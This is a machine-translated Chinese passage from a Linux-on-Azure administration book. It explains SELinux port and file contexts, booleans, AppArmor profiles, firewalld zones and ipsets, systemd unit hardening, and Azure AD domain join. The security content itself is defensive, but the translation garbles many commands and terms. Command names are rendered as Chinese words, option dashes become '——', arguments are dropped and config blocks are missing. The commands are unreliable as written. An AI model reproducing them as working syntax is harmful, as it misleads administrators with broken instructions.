这几乎涵盖了所有资源对象。 在文档中已经提到的列表之上,它包括以下内容: - -* 完整的网络栈,包括 IPsec -* 内核功能 -* **进程间通信**(**IPC**) -* 内存保护 -* 文件描述符(通信通道)的继承和传输 - -对于 Docker 等容器虚拟化解决方案,SELinux 可以保护主机,并在容器之间提供保护。 - -### SELinux 配置 - -SELinux 是通过**/etc/selinux/config**文件配置的: - -这个文件控制系统上 SELinux 的状态。 - -# SELINUX=可以接受以下三个值之一: - -#强制执行——SELinux 安全策略被强制执行。 - -# permissive - SELinux 打印警告而不是强制执行。 - -# disabled -没有加载 SELinux 策略。 - -SELINUX=enforcing - -在生产环境中,该状态应该处于**强制**模式。 策略被强制执行,如果访问受到限制,还可以执行审计以修复 SELinux 造成的问题。 如果您是软件开发人员或打包人员,并且需要为您的软件创建 SELinux 策略,那么**允许**模式将非常方便。 - -可以使用**setenforce**命令在**强制**和**允许**模式之间切换。 使用**setenforce 0**切换到允许模式,使用**setenforce 1**返回强制模式。 可以通过**getenforce**命令查看当前状态: - -# SELINUXTYPE=可以接受以下三个值之一: - -# targeted -目标进程被保护, - -# minimum -修改目标政策。 - -#只保护被选中的进程。 - -# mls -多级安全保护。 - -SELINUXTYPE=targeted - -默认策略-**针对**,保护所有资源,并为大多数工作负载提供足够的保护。 **多级安全性**(**MLS**)通过使用类别和敏感性(如机密、机密和绝密)以及 SELinux 用户和角色提供的权限级别,提供额外的安全性。 这对于提供文件共享的文件服务器非常有用。 - -如果选择**最小**类型,则只保护最小值; 如果您想要更多的保护,您需要自己配置其他所有东西。 如果在保护多进程应用(通常是非常旧的应用)时遇到困难,并且生成的策略消除了太多限制,那么这种类型可能很有用。 在这种情况下,最好让特定的应用不受保护,并保护系统的其余部分。 在本节中,我将只讨论**SELINUXTYPE=targeted**,这是最广泛使用的选项。 - -您可以使用**sestatus**命令查看 SELinux 的状态。 输出应该类似如下截图: - -![Running the sestatus command to view the state of SELinux](img/B15455_06_18.jpg) - -###### 图 6.18:SELinux 状态 - -在我们研究 SELinux 之前,您需要将必要的包添加到系统中,以便能够审计 SELinux。 请执行以下命令: - -Sudo yum install se 排除故障 - -之后,你需要重新启动虚拟机: - -sudo systemctl 重启 - -重启后,我们准备使用 SELinux 并对其进行故障排除: - -SELinux 上下文在端口上 - -让我们从一个涉及 SSH 服务的简单示例开始。 如前所述,所有流程都使用上下文标签进行标记。 为了使这个标签可见,许多实用程序,如**ls**、**ps**和**lsof**,都有**-Z**参数。 首先,你必须找到这个服务的主进程 ID: - -systemctl status sshd | grep PID - -使用这个进程 ID,我们可以请求上下文标签: - -ps -q-Z - -上下文标签是**system_u**、**system_r**、**sshd_t**和**s0-s0, c0。 c1023** 因为我们使用的是目标 SELinux 类型,所以我们只关心 SELinux 类型部分:**sshd_t**。 - -SSH 运行在端口 22 上。 现在让我们来研究一下端口上的标签: - -ss -ltn 运动 eq 22 -Z - -您将建立上下文标签为**system_u**、**system_r**、**sshd_t**、**s0-s0**和**c0。 c1023**,换句话说,完全相同。 不难理解,**sshd**进程确实有权限使用相同的标签在这个端口上运行: - -![Context label for sshd process](img/B15455_06_19.jpg) - -###### 图 6.19:sshd 进程的上下文标签 - -事情并不总是那么简单,但在进入更复杂的场景之前,让我们先将 SSH 服务器侦听的端口修改为端口 44。 为此,编辑**/etc/ssh/sshd_config**文件: - -sed -i 's/#端口 22/端口 44/' /etc/ssh/sshd_config . conf /etc/ssh/sshd_config . conf - -重启 SSH 服务器: - -重启 SSHD - -这将会失败: - -sshd 的工作。 服务失败,因为控制进程退出时带有错误代码。 - -请参见 systemctl status sshd。 服务和 journalctl -xe 的详细信息。 - -如果您执行**journalctl -xe**命令,您将看到如下消息: - -SELinux 正在阻止/usr/sbin/sshd 访问 name_bind - -在 tcp_socket 端口 44 上。 - -有多种方法可以对 SELinux 进行故障诊断。 可以直接使用日志文件**/var/log/audit/audit.log**,也可以使用**sealert -a /var/log/audit/audit.log**,或者使用**journalctl**: - -setroubleshoot journalctl——标识符 - -日志条目还声明如下: - -对于完整的 SELinux 消息,运行 sealert -l - -执行这个命令(或者将输出重定向到一个文件或管道通过少**或者**),这不仅会给你同样的 SELinux 的消息,但它也将有一个建议,怎么改正:**** - - ****如果允许/usr/sbin/sshd 绑定到 44 号网口 - -此时需要修改端口类型。 - -做 - -# semanage port -a -t PORT_TYPE -p tcp 44 - -其中 PORT_TYPE 是以下其中之一:ssh_port_t, vnc_port_t, xserver_port_t。 - -在讨论这个解决方案之前,SELinux 使用包含资源对象的多个数据库,应该将上下文标签(即**/**)应用到资源对象。 可以使用**semanage**工具修改数据库并添加条目; 在我们的场景中,数据库端口。 日志的输出建议将 TCP 端口 44 的上下文标签添加到数据库中。 有三种可能的上下文; 它们都会解决你的问题。 - -另一个重要的方面是,有时存在其他可能的解决方案。 有一个信心评级让你更容易做出选择。 但即便如此,你还是要仔细阅读。 特别是对于文件,有时候,您想要添加一个正则表达式,而不是为每个文件一遍又一遍地添加。 - -可以采取务实的态度和状态”我不使用 vnc**和**xserver**,所以我选择**ssh_port_t”或者你可以使用**sepolicy**,【显示】的一部分 policycoreutils-devel**包。 **sudo yum install -y policycoretil -devel**:** - - **Sepolicy network -a /usr/sbin/sshd - -在输出中搜索 TCP**name_bind**,因为 SELinux 访问正在阻止**/usr/sbin/sshd**有**name_bind**访问**tcp_socket 端口 44**。 - -现在你知道这个建议是从哪里来的了,看看端口 22 的当前标签: - -Sepolicy network -p 22 - -标签为**ssh_port_t**。 - -#### 请注意 - -您可以在端口 22 上使用**语义管理端口-l**和**grep**。 - -使用相同的标签是很有意义的。 不相信吗? 让我们生成手册页: - --p /usr/share/man/man8/ - -mandb - -**ssh_selinux**手册页在**端口类型**部分告诉您正确的标签是**ssh_port_t**。 - -最后,让我们解决这个问题: - --a -t ssh_port_t -p TCP 44 - -不需要重启**sshd**服务; **systemd**将在 42 秒内自动重启该服务。 顺便说一下,**sshd_config**文件已经有了描述此修复的注释。 在**#Port 22**之前的行中明确地声明: - -如果你想改变 SELinux 系统上的端口,你必须告诉: - -# SELinux 关于这个改变。 - -# semanage port -a -t ssh_port_t -p tcp #PORTNUMBER - -撤销配置更改并将其配置回端口 22 是个好主意; 否则,您可能会被锁定在测试系统之外。 - -### SELinux 上下文文件 - -在我们第一次接触 SELinux 并研究了端口上的上下文标签之后,现在是时候研究文件上的上下文标签了。 例如,我们将使用一个**FTP**(**文件传输协议**)服务器和客户机。 安装**vsftpd**和 FTP 客户端: - -安装 VSFTPD FTP - -然后,创建一个目录**/srv/ftp/pub**: - -mkdir -p /srv/ftp/pub - -chown -R ftp:ftp /srv/ftp - -然后在**/srv/ftp**中创建一个文件: - -echo WELCOME > /srv/ftp/README - -编辑配置文件**/etc/vsftpd/vsftpd.conf**,并在**local_enable=YES**行下添加如下内容: - -anon_root=/srv/ftp - -这使得**/srv/ftp**成为匿名用户**vsftpd**服务的默认根目录。 现在你已经准备好启动服务: - -启动 vsftpd.service - -Sudo systemctl status vsftpd.service - -使用**ftp**实用程序,尝试以用户**匿名**的身份登录到 ftp 服务器,没有密码: - -ftp 主机 - -尝试::1… - -连接到本地主机(::1)。 - -220 (vsFTPd 3.0.2) - -名称(localhost:根):匿名 - -请指定密码。 - -密码: - -230 年登录成功。 - -远程系统类型为 UNIX。 - -使用二进制模式传输文件。 - -ftp> ls - -进入扩展被动模式(|||57280|)。 - -这是目录清单。 - --rw-r——r——1 14 50 8 july 16 09:47 README - -drwxr-xr-x 2 14 50 6 july 16 09:44 pub - -目录发送 OK。 - -尝试获取文件: - -得到的自述 - -和它的工作原理! 为什么这是可能的? 因为数据库中已经有一个带有正确标签的**/srv/ftp/README**条目: - -semanage fcontext -l | grep /srv   - -上面的命令显示如下: - -如果 /([^/]*/)? ftp (/ . *) ? 所有文件 system_u: object_r: public_content_t: s0 - -在创建新文件时应用: - -stat -c %C /srv/ftp/README - -ls -Z /srv/ftp/README - -这两个命令都告诉您类型是**public_content_t**。 **ftpd_selinux**的手册页有两个部分在这里很重要:**标准文件上下文**和**共享文件**。 手册页声明,**public_content_t**类型只允许您读取(下载)文件,但是不允许您写入(上传)这种类型的文件。 您需要另一个类型**public_content_rw_t**来上传文件。 - -创建一个上传目录: - -Mkdir -m 2770 /srv/ftp/incoming - -chown -R ftp:ftp /srv/ftp/incoming - -查看当前标签并更改它: - -ls -dZ /srv/ftp/incoming - -Semanage fcontext -a -t public_content_rw_t "/srv/ftp/incoming(/.*)?" - -restorecon -rv /srv/ftp/incoming - -ls -dZ /srv/ftp/incoming - -首先,您必须将策略添加到**fcontext**数据库; 然后,您可以将策略应用到已经存在的目录。 - -#### 请注意 - -请阅读**selinux-fcontext**的手册页。 除了描述所有的选项之外,还有一些很好的例子。 - -### SELinux Boolean - -使用单个字符串,您可以更改 SELinux 的行为。 这个字符串被称为**SELinux Boolean**。 可以使用**getsebool -a**获得布尔值的列表。 使用**boolean allow_ftpd_anon_write**,我们将改变 SELinux 的反应方式。 再次匿名连接到 FTP 服务器,并尝试上传一个文件: - -ftp > cd /传入的 - -目录更改成功。 - -Ftp > put /etc/hosts 主机 - -Local: /etc/hosts remote: hosts - -进入扩展无源模式(|||12830|)。 - -550 没有权限。 - -**journalctl——identifier setroubleshooting**命令让你很清楚: - -SELinux 阻止 vsftpd 对 ftp 目录进行写访问。 - -**sealert**命令将为您提供解决问题所需的信息: - -setsebool -P allow_ftpd_anon_write 设置为 1 - -那么,这里发生了什么? 有时,端口或文件的简单规则是不够的,例如,如果必须使用 Samba 导出 NFS 共享。 在这个场景中,可以创建自己的复杂 SELinux 策略,或者使用带有易于使用的开/关开关的布尔数据库。 为此,您可以使用旧的**setsebool**实用程序或**semanage**: - -Semanage Boolean——list | grep "ftpd_anon_write" - -修改 ftpd_anon_write——on - -使用**setsebool**而不使用**-P**可以进行更改,但它不是持久的。 **semanage**实用程序没有将其更改为非永久的选项。 - -### AppArmor - -在 Debian、Ubuntu 和 SUSE 发行版中,AppArmor 可以实现 MAC。请注意,发行版之间有一些细微的差异,但是,一般来说,一个发行版可以添加更少或更多的配置文件和一些额外的工具。 在本节中,我们以 Ubuntu 18.04 为例。 - -此外,你还必须确保自己的发行版是最新的,特别是《AppArmor》; Debian 和 Ubuntu 中的软件包都被 bug 所困扰,这有时会导致意想不到的行为。 - -确保必要的软件包已经安装: - -Sudo apt 安装 apparmo -utils apparmo -easyprof \ - -apparmor-profiles apparmor-profiles-extra apparmor-easyprof - -与 SELinux 相比,有一些基本的区别: - -* 默认情况下,只保护最小值。 您必须为每个应用申请安全性。 -* 你可以混合强制和抱怨模式; 您可以针对每个应用进行决定。 -* 当《AppArmor》开始开发时,范围非常有限:进程和文件。 现在,您可以将其用于**基于角色的访问控制**(**RBAC**)、MLS、登录策略以及其他方面。 - -在本章中,我们将讨论初始作用域:需要访问文件的进程。 - -### 显影状态 - -首先要做的是检查 AppArmor 服务是否启动并运行: - -systemctl status apparmor - -或者,执行以下命令: - -sudo aa-enabled - -在此之后,使用以下命令查看更详细的状态: - -sudo apparmor_status - -这里有一个替代前一个命令: - -sudo aa-status - -下面的屏幕截图显示了通过**apparmor_status**命令导出的 AppArmor 的状态: - -![Checking the status of AppArmor using the apparmor_status command](img/B15455_06_20.jpg) - -###### 图 6.20:AppArmor 状态 - -### 生成 AppArmor 配置文件 - -您想要保护的每个应用都需要一个配置文件,该配置文件由**apparor -profiles**或**apparor -profiles-extra**包、应用包或您提供。 配置文件存储在**/etc/ apparmore。 d**。 - -让我们以安装 nginx web 服务器为例: - -安装 nginx - -如果你浏览**/etc/apparmor. conf。 d**目录,没有 nginx 的配置文件。 创建一个默认的: - -我会的 - -创建配置文件**/etc/apparmo .d/usr.sbin。 nginx**。 这个文件几乎是空的,只包含一些基本的规则和变量,称为抽象,还有下面这行: - -/usr/sbin/nginx mr, - -**mr**值定义了访问模式:**r**表示读取模式,**m**允许将文件映射到内存中。 - -让我们执行 nginx 的模式: - -sudo aa-enforce /usr/sbin/nginx - -须藤系统缓冲 nginx 系统 - -Nginx 无法启动。 命令回显信息如下: - -Sudo journalctl——标识符审计 - -这很明显地指向了幻影显形: - -Sudo journalctl -k | grep 审计 - -要解决这个问题,请为这个配置文件设置抱怨模式。 这样,它不会强制执行策略,但会抱怨每一次违反安全策略的行为: - -sudo aa-complain /usr/sbin/nginx - -sudo 系统启动 nginx - -使用浏览器或实用程序(例如:**curl**)发出**http**请求: - -curl http://127.0.0.1 - -下一步是扫描**日志文件**并批准或拒绝每个操作: - -sudo aa -logprof - -仔细阅读,并选择正确的选项与箭头键(如果需要): - -![Configuring the profile for nginx](img/B15455_06_21.jpg) - -###### 图 6.21:配置 nginx 的配置文件 - -**LXC**(**Linux Containers**)是一种容器技术,我们只是在为 web 服务器配置概要文件。 修正 DAC 似乎是一个不错的选择: - -![Configuring the profile for a web server with DAC](img/B15455_06_22.jpg) - -###### 图 6.22:修复 nginx 的 DAC - -审计建议采用新的模式:**w**表示对**/var/log/nginx/error.log**文件进行写访问。 - -此外,您还可以阻止以下目录的访问: - -* 读取/etc/ssl/openssl.conf 文件 这是一个困难的问题,但是对**ssl**的抽象听起来是正确的。 -* 读取/etc/nginx/nginx.conf 文件 同样,不是容器,所以文件的所有者必须没问题。 -* 一般来说,文件的所有者是一个很好的选择。 - -现在,是时候保存更改并再次尝试: - -sudo aa-enforce /usr/sbin/nginx - -须藤系统缓冲 nginx 系统 - -curl http://127.0.0.1 - -现在一切似乎都工作,至少对一个简单的网站的请求。 正如您所看到的,这在很大程度上是基于有根据的猜测。 另一种选择是深入研究所有建议的抽象。 - -创建的文件**/etc/apparmo .d/usr.sbin。 nginx**,相对容易阅读。 它开始于所有可调变量,应该为每个配置文件: - -#包括 - -然后该文件后面跟着其他抽象,比如下面这样: - -#include 公众 - -公共场所使用。 您不相信网络上的其他计算机不会伤害您的计算机。 只接受选定的传入连接。 - -还有配置伪装和端口转发的选项。 富规则是高级防火墙规则,如**防火墙所述。 丰富的语言**手册页。 - -执行**man 防火墙。 richlanguages**如下截图所示: - -![Output of man firewalld.richlanguages command](img/B15455_06_23.jpg) - -###### 图 6.23:**man 防火墙输出 richlanguages 命令** - -根据您所使用的发行版,您可能会有额外的服务名称。 例如,如果您正在使用 RHEL 8,您可能会看到**座舱**被列为服务。 **座舱**是一个基于 web 的管理 RHEL 机器的界面。 - -您可能已经注意到,在公共区域,它显示**目标:默认**。 目标是默认行为。 可能的值如下: - -* **default**:不做任何事,接受每一个 ICMP 报文,拒绝其他所有 ICMP 报文。 -* **%%REJECT%%**:通过 ICMP 协议向客户端发送拒绝响应。 -* **DROP**:在一个开放的端口上,发送一个 TCP SYN/ACK,但所有其他流量都被丢弃。 没有 ICMP 消息通知客户端。 -* **ACCEPT**:接受一切 - -在 Ubuntu 中,默认情况下,没有附加网络接口。 在连接接口之前,请不要重启虚拟机! 执行如下命令: - -Sudo firewall-cmd——add-interface=eth0——zone=public - -Sudo firewall-cmd——add-interface=eth0——zone=public——permanent - -Sudo firewall-cmd——zone=public——list-all - -如果修改一个区域,文件将从**/usr/lib/firewall /zones**复制到**/etc/firewall /zones**。 下一个修改将创建一个文件扩展名为**.old**的区域备份,并创建一个包含修改内容的新文件。 - -### 防火墙服务 - -服务是以应用为中心的配置,允许一个或多个端口。 要接收可用服务的列表,使用以下命令: - -sudo firewall-cmd——服务 - -如果需要添加服务,例如“MySQL”,请执行如下命令: - -Sudo firewall-cmd——add-service=mysql——zone=public - -——add-service=mysql——zone=public \ - -——永久 - -如果要从区域中删除服务,请使用**——remove-service**参数。 - -服务配置在**/usr/lib/firewall /services**目录下。 同样,您不应该修改这些文件。 您可以修改它们,也可以通过将它们复制到**/etc/firewall /services**目录中来创建自己的。 - -也可以添加单个端口,但一般来说,这不是一个好主意:过一段时间后,您还能记得哪个应用正在使用哪些端口吗? 相反,如果服务还没有定义,则创建自己的服务。 - -现在让我们为 Microsoft PPTP 防火墙协议创建一个服务文件**/etc/firewalld/services/pptp.xml**: - -PPtP - -Microsoft VPN - -在上述文件中,可以看到允许使用的 TCP 端口**1723**。 您可以添加任意多的端口规则。 例如,如果要添加 TCP 端口**1724**,则行项如下: - -使用**firewall -cmd——reload**重新加载防火墙后,服务可用。 这是不够的:不允许**GRE**(**通用路由封装**)协议。 要允许该协议,使用以下命令: - -——service=pptp——add-protocol=gre \ - -——永久 - -sudo firewall-cmd——重载 - -这将在服务文件中添加以下内容: - -可以通过**——remove-protocol**参数移除协议。 - -### 防火墙网络源 - -只有当网络接口或网络源连接到区域时,区域才处于活动状态。 将网络接口添加到删除区域没有意义。 丢弃区是所有传入的包被丢弃而没有应答的地方; 但是,允许传出连接。 因此,正如我提到的,如果您将网络接口添加到删除区域,所有传入的包将被防火墙删除,这一点都没有意义。 - -但是,添加一个网络源是有意义的。 一个源由一个或多个表项组成:媒体访问控制地址、IP 地址或 IP 范围。 - -例如,不管出于什么原因,假设你想封锁所有来自百慕大的交通。 网站[http://ipdeny.com](http://ipdeny.com)可以为您提供 IP 地址列表: - -cd / tmp - -wget http://www.ipdeny.com/ipblocks/data/countries/bm.zone - -有几种类型的**ipset**。 查询当前支持的**ipset**类型列表。 - -sudo firewall-cmd——get-ipset-types - -在我们的场景中,我们希望**哈希:网络**IP 范围的类型: - -Sudo firewall-cmd——new-ipset=block_bermuda——type=hash:net——permanent - -sudo firewall-cmd——重载 - -现在,我们可以使用下载的文件向**ipset**添加条目: - -Sudo firewall-cmd——ipset=block_bermuda——add-entries-from-file=/tmp/ bmp .zone - -Sudo firewall-cmd——ipset=block_bermuda——add-entries-from-file=/tmp/bm。 区\ - -——永久 - -sudo firewall-cmd——重载 - -最后一步涉及将**ipset**作为源添加到区域: - -Sudo firewall-cmd——zone=drop——add-source=ipset:block_bermuda - -Sudo firewall-cmd——zone=drop——add-source=ipset:block_bermuda——permanent - -sudo firewall-cmd——重载 - -删除区域的目的是在不让客户端知道流量被删除的情况下删除所有流量。 向该区域添加**ipset**将使其激活,所有来自百慕大的流量将被丢弃: - -sudo firewall-cmd——get-active-zones - -下降 - -来源:ipset: block_bermuda - -公共 - -接口:eth0 - -现在,我们已经了解了防火墙的工作原理,以及如何使用区域保护机器的安全,让我们跳转到下一节。 - -### 系统安全性 - -如前一章所述,systemd 负责在引导过程中并行启动所有进程,除了那些由内核创建的进程。 在那之后,就需要根据需要激活服务了。 Systemd 单元还可以提供额外的安全层。 您可以添加几个选项到您的单位文件,以使您的单位更安全。 - -只需使用**systemctl edit**编辑单元文件,并添加安全措施。 例如,执行如下命令: - -sudo systemctl edit sshd - -然后,添加以下几行: - -(服务) - -ProtectHome =只读 - -保存文件,重新读取**systemctl**配置,并重启**sshd**: - -sudo systemctl daemon-reload - -重启 SSHD - -现在,再次使用 SSH 客户端登录,并尝试在主目录中保存一个文件。 这将失败,因为它是一个只读文件系统: - -![Unable to save file in home directory as permission has been changed to read-only](img/B15455_06_24.jpg) - -###### 图 6.24:当单元文件更改为只读时,登录失败 - -### 限制对文件系统的访问 - -**ProtectHome**参数是一个非常有趣的参数。 取值包括: - -* **true**:目录**/home**,**/root**,和**/run/user**不能被单元访问,并且对于单元内启动的进程显示为空。 -* **read-only**:只读目录。 - -另一个非常相似的参数是**ProtectSystem**: - -* **true**:**/usr**和**/boot**以只读方式挂载。 -* **full**:**/etc**与**/usr**和**/boot**一起以只读方式挂载。 -* **strict**:除**/proc**、**/dev**和**/sys**外,全文件系统为只读。 - -而不是**ProtectHome**和**ProtectSystem**,另外,您可以使用以下参数:**ReadWritePaths**白名单目录,**ReadOnlyPaths**、【显示】InaccessiblePaths。 - -一些守护进程使用**/tmp**目录作为临时存储。 这个目录的问题在于它是世界可读的。 **PrivateTmp=true**参数为进程设置了一个新的临时文件系统,该文件系统只能被进程访问。 - -也有内核相关参数:**ProtectKernelModules = true 参数使其无法加载模块,和**ProtectKernelTunables = true 参数使它不可能改变内核参数与**sysctl 命令或手动在**/ proc**和【显示】/ sys**目录结构。**** - - **最后,但并非最不重要的是,**SELinuxContext**和**AppArmorProfile**参数强制该单元的上下文。 - -### 限制网络访问 - -systemd 也可以用来限制网络访问,比如你可以列出那些允许或拒绝的 IP 地址。 systemd 在 235 版本之后的新版本,如 Ubuntu 18.04、SLE 15 SP1 和 RHEL 8,也支持 IP 计费和访问列表来限制网络访问。 - -**IPAccounting=yes**允许一个单位收集并分析网络数据。 可以使用**systemctl**命令查看查询结果: - -systemctl show-p IPIngressBytes \ - --p IPIngressPackets \ - --p IPEgressBytes -p IPEgressPackets - -对于每个参数,您也可以在**systemd-run**中使用: - -![Using the systemd-run and systemctl commands to collect and analyze network data](img/B15455_06_25.jpg) - -###### 图 6.25:使用 systemd-run 和 systemctl 收集和分析网络数据 - -可以使用**IPAddressDeny**拒绝某个 IP 地址或 IP 范围。 **IPAddressAllow**可以产生一个例外。 甚至可以在每个服务的基础上拒绝所有系统范围和白名单: - -set-property sshd。 服务 IPAddressAllow =任何 - -Sudo systemctl set-property waagent。 服务 IPAddressAllow = 10.0.0.1 - -#### 请注意 - -如果您使用 Ubuntu,服务名称是**walinuxagent**。 - -systemctl set-property system。 片 IPAddressAllow = localhost - -systemctl set-property system。 片 IPAddressAllow = 10.0.0.1 - -systemctl set-property system。 片 IPAddressDeny =任何 - -更改保存在**/etc/systemd/system。 control**目录结构 - -![Changes saved in the system.control directory](img/B15455_06_26.jpg) - -###### 图 6.26:在系统中保存更改 控制目录 - -以下是我的评论: - -* 当然,你必须改变您的虚拟子网 IP 范围,你必须允许访问的第一个 IP 地址的子网 Azure 代理和网络服务,如**DHCP**(**动态主机配置协议**)。 -* 将 SSH 访问限制到您自己网络的 IP 地址也是一个非常好的主意。 -* 仔细查看 systemd 日志,以确定是否需要打开更多端口。 - -systemd 访问列表特性可能没有防火墙那么高级,但它是应用级别限制的一个很好的替代选择(主机允许在守护进程的配置文件或**/etc/hosts.中设置指令 对于使用**libwrap**support 编译的应用,允许**和**/etc/hosts.deny**。 而且,在我们看来,在 Azure 中,你不需要比这更多。 如果所有发行版都有 systemd 的最新版本就好了。 - -#### 请注意 - -在本书中,我们不会讨论**libwrap**库,因为越来越多的应用不再使用这个选项,一些供应商,比如 SUSE,正忙于删除对这个库的完全支持。 - -## Azure - IAM 中的身份和访问管理 - -到目前为止,我们一直在讨论如何在 Linux 中管理安全性。 由于我们部署在 Azure 中,Azure 也为我们的 Linux 虚拟机提供了一些额外的安全性。 例如,在前面,我们讨论了 Azure Firewall 和网络安全组,它们有助于控制流量,限制对不需要的端口的访问,并过滤来自未知位置的流量。 在此之上,Azure 中还有其他服务,比如 Azure AD 域服务,它可以让您将 Linux 虚拟机加入域。 最近,微软推出了一个选项,Azure AD 用户可以通过该选项登录 Linux 虚拟机。 这样做的好处是你不需要使用其他用户名; 相反,您可以使用 Azure AD 凭据。 让我们仔细看看这些服务,并了解如何利用它们来提高 Linux vm 的安全性。 - -### Azure AD 域服务 - -到目前为止,我们一直在讨论在 Linux VM 中可以做什么。 由于我们是在 Azure 上,我们应该利用 Azure AD 域服务,通过该服务,您可以域加入您的 Linux 机器并执行您的组织的策略。 Azure AD 域服务是一种域控制器服务,它为您提供 DNS 服务和身份管理。 中心身份管理始终是安全解决方案的重要组成部分。 允许用户访问资源。 除此之外,还可以实施策略并启用多因素身份验证。 - -在本节中,我们将重点介绍如何设置服务以及如何加入域。 - -### 搭建 Azure AD 域服务 - -建立 Azure AD 域服务最简单的方法是通过 Azure 门户。 在左侧选择**创建资源**,搜索*域服务*。 选择**Azure AD 域服务**,点击**创建**按钮。 - -在向导中,你将被要求一些设置: - -* **域名**:您可以使用自己的域名,也可以使用内置的以**.onmicrosoft.com 结尾的域名**。 就本书而言,这就足够了。 -* **虚拟网络**:创建一个新的虚拟网络和一个新的子网是个好主意。 标签并不重要。 -* **Administrators**:一个组将被命名为**AAD DC Administrators**。 要使用用户加入域,该用户必须是这个组的成员,使用 Azure 门户左侧栏中的**Active Directory**部分。 - -现在您已经准备好部署服务了。 这需要一段时间; 根据我的个人经验,这可能需要 20 到 30 分钟。 - -完成后,转到左边栏的**虚拟网络**部分,并进入新创建的虚拟网络。 您将发现两个新创建的网络接口及其 IP 地址。 你会需要这个信息,所以把它记下来。 - -在这个虚拟网络中创建一个新的子网是一个好主意,但这不是必需的。 - -### Linux 配置 - -您必须将 Linux 虚拟机部署在相同的虚拟网络中,或者部署 Azure AD 目录服务的对等网络中。 如上所述,将其连接到另一个子网是一个好主意。 这里,我们没有遵循安全 LDAP。 - -### 主机名 - -使用**hostnamectl**实用程序将主机名更改为正确的**fqdn**: - -Sudo hostnamectl set-hostname ubuntu01.frederikvoslinvirt.onmicrosoft.com - -然后编辑**/etc/hosts**文件。 添加如下条目: - -127.0.0.1 ubuntu01.frederikvoslinvirt.onmicrosoft.com ubuntu01 - -### DNS 服务器 - -在 Azure portal 的左侧栏中,进入**虚拟网络**,找到 Azure AD 域服务网络接口所在的子网。 选择**DNS 服务器**,使用自定义选项设置 Azure AD 域服务网络接口的 IP 地址。 通过这样做,当需要主机名的 DNS 解析时,它将被指向 Azure AD 域服务。 - -或者,如果您的 Azure AD 域服务是一个新的部署,在 Azure 门户的**Overview**窗格中,它将要求您更改 DNS 服务器。 只需点击**配置**按钮,虚拟网络中的 DNS 服务器就会指向 Azure AD 域服务。 - -通常,重新启动 VM 中的网络就足够了,但最好现在就重新启动。 时不时地,旧的和新的设置都保留下来。 - -在 RHEL、Ubuntu 和 SUSE 系统中,可以通过查看“**/etc/resolv.conf**”文件内容来验证。 然后,查看**eth0**的设置。 - -### 安装依赖 - -为了能够使用 Azure AD 域服务,需要一些重要的组件和依赖: - -* 用于授权的 Kerberos 客户机 -* SSSD,负责配置和使用特性(如使用和缓存凭证)的后端 -* Samba 库,以便与 Windows 特性/选项兼容 -* 一些用于连接和管理域的实用程序,如**realm**、**adcli**和**net**命令 - -安装必要的软件以加入域。 - -RHEL/ centos 版本: - -Sudo yum 安装 realmd SSSD krb5-workstation krb5-libs samba-common-tools - -在 Ubuntu 中,执行如下命令: - -sudo apt install krb5-user samba sssd sssd-tools libnss-sss libpam-sss realmd adcli - -在 SLE/OpenSUSE LEAP 中,依赖关系将由 YaST 处理。 - -### 加入域- Ubuntu 和 RHEL/CentOS - -在 Ubuntu 和 RHEL/ centos 发行版中,可以使用**realm**实用程序加入该域。 首先,发现域: - -sudo realm discover - -输出应该类似如下: - -![Discovering the domain in Ubuntu- and RHEL/CentOS-based distributions](img/B15455_06_27.jpg) - -###### 图 6.27:发现域 - -现在,您已经准备好加入域: - -sudo realm join-U - -使用您在前面添加的用户名作为 Azure AD 域服务管理员组的成员。 如果您得到消息说**必需的包没有安装**,但您确定它们已经安装,那么将**——install=/**参数添加到**领域**命令中。 - -执行以下命令验证结果: - -sudo 领域列表 - -输出应该类似如下: - -![Using realm utility to join the domain](img/B15455_06_28.jpg) - -###### 图 6.28:加入域 - -你应该能够做以下事情: - -id@ - -su@ - -使用此用户通过**ssh**远程登录。 - -#### 请注意 - -如果这不起作用,并且连接成功,则重新启动 VM。 - -### 加入域- SUSE - -在 SUSE SLE 和 LEAP 中,加入域的最佳方式是使用 YaST。 - -启动 YaST 实用程序: - -须藤 yast - -在 YaST 主窗口中,启动**用户登录管理**模块,点击**更改设置**。 点击**加入域**,填写域名。 之后,您就可以成功地注册域名了。 如果有必要,将安装依赖项。 - -将出现一个新窗口来管理域用户登录。 您至少需要以下内容:**允许域用户登录**和**创建主目录**。 所有其他选项在 Azure AD 域服务中还不可能。 - -YaST 将在 shell 上为您提供一个彩色的类似 gui 的界面,使用它意味着您可以将机器加入域。 运行**sudo yast**后,您将看到如下所示的屏幕。 从列表中,使用方向键选择**网络服务**,然后**Windows 域成员**: - -![Viewing the YaST interface by running the run sudo yast command](img/B15455_06_29.jpg) - -###### 图 6.29:Shell 上的 YaST 接口 - -最好的部分是,如果缺少任何依赖项,YaST 会提示您安装它们,所以请继续并完成依赖项的安装。 安装完成后,你可以输入你的域名,保存后,你会被提示输入用户名和密码,如下截图所示: - -![Providing credentials in YaST to register the machine to Azure AD Domain Services](img/B15455_06_30.jpg) - -###### 图 6.30:提供凭据来注册机器 - -以**user@domain**的格式输入凭证,然后输入密码。 一旦你完成了这个过程,SUSE 机器将访问 Azure AD 域服务并注册你的机器。 如果加入成功,你会在屏幕上看到如下信息: - -![A message prompt indicating successful domain join](img/B15455_06_31.jpg) - -###### 图 6.31:域加入成功 - -您可以通过使用**su**命令将当前用户切换到您的 AD 用户名来验证,如下图所示: - -![Using su command to verify the domain join](img/B15455_06_32.jpg) - -###### 图 6.32:验证域加入 - -最后,我们完成了将我们的 Linux 机器加入到 Azure AD 域服务中。 最近,微软为 Linux 虚拟机添加了 Azure AD 登录支持,而不需要将机器加入域。 将在机器上安装代理来完成授权。 这将在下一节中讨论。 - -### 使用 Azure AD 凭据登录 Linux 虚拟机 - -Azure AD 可以实现另一种形式的身份管理。 这是一种完全不同的身份管理系统,没有 LDAP 和 Kerberos,如前一节所述。 在 Linux 中,Azure AD 将允许您使用 Azure 凭证登录到 VM,但在应用级别不支持。 在写这本书的时候,这个特性还处于预览阶段。 SUSE 不支持该特性。 - -为了能够使用 Azure AD,你必须部署一个 VM 扩展,例如,使用 Azure CLI: - -Az 虚拟机扩展集“\” - -——出版商 Microsoft.Azure.ActiveDirectory.LinuxSSH \ - -    --name AADLoginForLinux \ - -——资源组 myResourceGroup \ - -——vm-name myVM - -在此之后,您必须为您的 Azure AD 帐户分配一个角色,即**虚拟机管理员登录**(具有 root 权限)或**虚拟机用户登录**(无特权用户)角色,其作用域仅限于此虚拟机: - -Az 角色分配 create \ - -——role“虚拟机管理员登录”\ - -——受让人\ - -——范围 - 